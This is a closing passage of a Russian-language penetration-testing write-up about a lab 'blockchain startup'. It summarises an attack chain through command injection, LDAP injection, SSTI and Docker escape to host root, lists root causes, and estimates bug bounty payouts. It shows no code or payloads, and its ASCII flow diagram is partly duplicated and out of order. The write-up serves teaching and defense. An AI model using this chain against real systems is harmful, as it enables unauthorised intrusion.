┌──────────────────────────────────────┐
│ Authentication via JWT │ (Login to Web App as Admin)
└────────────────────┬─────────────────┘
│
▼
┌──────────────────────────────────────┐
│ Mass Assignment in User Profile │ (Privilege Escalation within App to "super_admin")
└────────────────────┬─────────────────┘
│
▼
┌──────────────────────────────────────┐
│ Race Condition in "Blockchain" │ (Compromise Data Integrity)
└────────────────────┬─────────────────┘
│
▼
┌──────────────────────────────────────┐
│ SSTI → RCE in Main Web App │ (Code Execution as 'appuser')
└────────────────────┬─────────────────┘
│
▼
┌──────────────────────────────────────┐
│ Docker Privilege Escalation │ (Misconfigured Sudo -> Escape to Host)
└────────────────────┬─────────────────┘
│
▼
┌──────────────────────────────────────┐
│ COMPLETE ROOT ACCESS │ (Full control over Host System)
└──────────────────────────────────────┘
│ OSINT & Information Disclosure │ (GitHub, Slack Logs)
└────────────────────┬─────────────────┘
│
▼
┌──────────────────────────────────────┐
│ Command Injection in Document Parser│ (Initial Foothold as root in a container)
└────────────────────┬─────────────────┘
│
▼
┌──────────────────────────────────────┐
│ LDAP Injection in Main Web App │ (Extract Admin Credentials)
└────────────────────┬─────────────────┘
│
▼
┌──────────────────────────────────────┐
│ Authentication via JWT │ (Login to Web App as Admin)
└────────────────────┬─────────────────┘
│
▼
┌──────────────────────────────────────┐
│ Mass Assignment in User Profile │ (Privilege Escalation within App to "super_admin")
└────────────────────┬─────────────────┘
│
▼
┌──────────────────────────────────────┐
│ Race Condition in "Blockchain" │ (Compromise Data Integrity)
└────────────────────┬─────────────────┘
│
▼
┌──────────────────────────────────────┐
│ SSTI → RCE in Main Web App │ (Code Execution as 'appuser')
└────────────────────┬─────────────────┘
│
▼
┌──────────────────────────────────────┐
│ Docker Privilege Escalation │ (Misconfigured Sudo -> Escape to Host)
└────────────────────┬─────────────────┘
│
▼
┌──────────────────────────────────────┐
│ COMPLETE ROOT ACCESS │ (Full control over Host System)
└──────────────────────────────────────┘
Ключевые моменты нашей цепочки:
1. OSINT + Info Leakage: Дали нам понимание архитектуры и учетные данные.
2. LDAP Injection: Позволила подтвердить пароль администратора.
3. Command Injection: Дала нам первую точку входа (RCE), доказав, что система пробиваема.
4. Mass Assignment: Повысила наши привилегии внутри приложения.
5. Race Condition: Скомпрометировала целостность их главной "фичи" — блокчейна.
6. SSTI: Дала нам вторую, более важную точку входа (RCE) в основном приложении.
7. Docker Privesc: Стала финальным шагом, который позволил выйти за пределы контейнера и получить полный контроль над хостом.
XXE-вектор, который я изначально предполагал, оказался запатчен, но это лишь привело к открытию более серьезной уязвимости — Command Injection.
Критические точки отказа
Безопасность этой системы рухнула не из-за одной ошибки, а из-за каскада проблем на разных уровнях:* Уровень 1 - Человеческий фактор и гигиена:
* Секреты (пароли, учетные данные) в логах.
* Webhook'и и другая служебная информация в публичных репозиториях.
* Слабые пароли для гостевых учетных записей.
* Уровень 2 - Валидация пользовательского ввода:
* Command Injection через имена файлов (полное отсутствие санитизации).
* LDAP Injection в поисковых запросах.
* SSTI в пользовательских шаблонах отчетов.
* Уровень 3 - Логика и авторизация:
* Mass Assignment без белого списка разрешенных полей.
* Race Condition из-за отсутствия атомарных операций при работе с базой данных.
* Уровень 4 - Ошибки конфигурации инфраструктуры (DevOps):
* Небезопасные права sudo для пользователя в Docker-контейнере.
* Проброс Docker-сокета в контейнер без должной изоляции.
* Запуск сервисов как document-parser с избыточными root привилегиями.
Экономика Bug Bounty
Стоимость каждой уязвимости отдельно (приблизительно):- Information Disclosure: $500 - $1,500
- LDAP Injection: $3,000 - $7,000
- Mass Assignment: $1,500 - $3,000
- Race Condition: $2,000 - $4,000
- Command Injection (RCE): $5,000 - $15,000
- SSTI (RCE): $10,000 - $25,000
- Privilege Escalation (Container Escape): $15,000 - $50,000
Как полноценная цепочка атак, ведущая к полному компромиссу хоста, такая находка претендует на максимальную выплату, в данном случае $45,000 - $50,000. Это наглядно показывает, почему защита в глубину (defense in depth) так важна: одна ошибка может быть некритичной, но несколько ошибок вместе создают путь к полному провалу.
Мои выводы: уроки современного пентестинга
Психология цепочки атак
Что делает такие атаки эффективными — их поэтапная природа. Каждый этап даёт информацию для следующего:Эффект снежного кома:
- Публичная информация → внутренняя архитектура
- Архитектура → credentials и секреты
- Credentials → повышение привилегий
- Привилегии → полный контроль
Практические советы для пентестеров
Что сделало атаку успешной:- Methodology over tools: Никаких сложных 0-day. Всё на методологии и понимании систем.
- Information leverage: Каждый кусочек информации использовался для следующего этапа.
- Parallel exploration: Одновременное исследование нескольких векторов увеличило шансы.
- Context awareness: Понимание что это "блокчейн стартап" помогло найти разрыв между маркетингом и реальностью.
- Persistence through privilege: Получив admin права, исследование стало проще.
Метауроки для индустрии
Для стартапов: Громкие tech заявления не заменят базовую безопасность. Инвесторы\Пентестеры это рано или поздно обнаружат.Для bug bounty hunters: Не останавливайтесь на первой находке. Biggest payouts получают те, кто строит цепочки атак.
Для InfoSec: Defense in depth работает только когда каждый слой реально защищает. Слабые слои хуже отсутствия — создают ложную безопасность.
На этом, пожалуй, всё! Если вы дочитали до конца, я вам искренне благодарен. Надеюсь, эта история не только показала вам набор крутых техник, но и помогла хоть чуточку разнообразить мышление.
Мы вместе прошли этот путь: от первого curl, который вернул ошибку, до финальной команды, которая вытащила /etc/shadow с хоста. Мы видели, как не работают очевидные эксплойты, как одна опечатка в .ldif файле ломает всю систему, и как одна неправильная строчка в sudoers открывает путь к полному захвату. Это и есть настоящий пентестинг — не магия, а методичное исследование, терпение и постоянная отладка.
Главный урок, который вынес мой знакомый (и я вместе с ним), прост: никакие "блокчейны" и "AI" не заменят фундаментальную безопасность. Одна утечка в логах может оказаться важнее, чем самая сложная криптография.
Теперь у вас есть не просто статья, а полностью рабочая среда. Экспериментируйте. Попробуйте найти другие уязвимости. Напишите свои инструменты. Ведь лучший способ научиться строить неприступные крепости — это понять, как их разрушать до основания.
Спасибо за ваше время и удачной охоты!![]()
